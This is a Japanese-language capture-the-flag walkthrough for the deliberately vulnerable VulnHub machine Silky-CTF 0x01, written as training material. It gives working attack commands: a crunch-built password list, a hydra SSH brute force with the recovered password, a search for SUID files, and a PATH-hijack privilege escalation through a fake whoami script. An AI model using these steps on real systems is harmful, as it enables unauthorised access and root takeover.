https://www.vulnhub.com/entry/silky-ctf-0x01,306/
偵察
netdiscover で IP アドレス特定
nmap -Pn -A -p- -oA nmap <IPaddr> で 22/tcp, 80/tcp が開いていることを特定
nmap の結果より notes.txt の存在を確認
notes.txt の中身より、パスワードが2文字足りないという情報を得る
トップページは Apache のデフォルトに似ているが文面を見ると administrator は silky というユーザ=ユーザ名 silky
ソースに script.js へのリンクあり
script.js 内には s1lKy の文字=パスワードの先頭は s1lKy で後ろに何か2文字
パスワードリストの作成
crunch 2 2 @,^% > candi1.txt
for i in $(cat candi1.txt); do echo s1lKy$i >> candi2.txt; done
for i in $(cat candi2.txt); do crunch -t $i >> passwords.txt; done
9000行くらいのリストになったがこれ以上減らしようがない。
足場
hydra -l silky -P passwords.txt ssh://<IPaddr>
50分以内でヒット
[22][ssh] host: 172.16.0.2 login: silky password: s1lKy#5
内部探索
ホームディレクトリで find、ヒントになりそうなのは .bash_history くらい
.bash_history では sky というプログラムに SUID つけているのが見える
find / -type f -user root -perm -4000 2>/dev/null で SUID 付きの root 権限で実行できるプログラム検索
/usr/bin/sky がある
実行すると詩と書いた人 root が表示される。
strings sky > strings_sky.txt
書いた人 root は、whoami コマンドの実行結果 = root
whoami コマンドを実行したときに bash がたたかれればいい。
権限昇格
export PATH=/tmp:$PATH で PATH に /tmp を追加
whoami という名前のシェルスクリプトを置き、中に sh を起動する内容を書く
echo '/bin/sh' > /tmp/whoami; chmod +x /tmp/whoami
sky を実行して root で sh が起動した。
目的達成
/root/flag.txt の中身を確認する。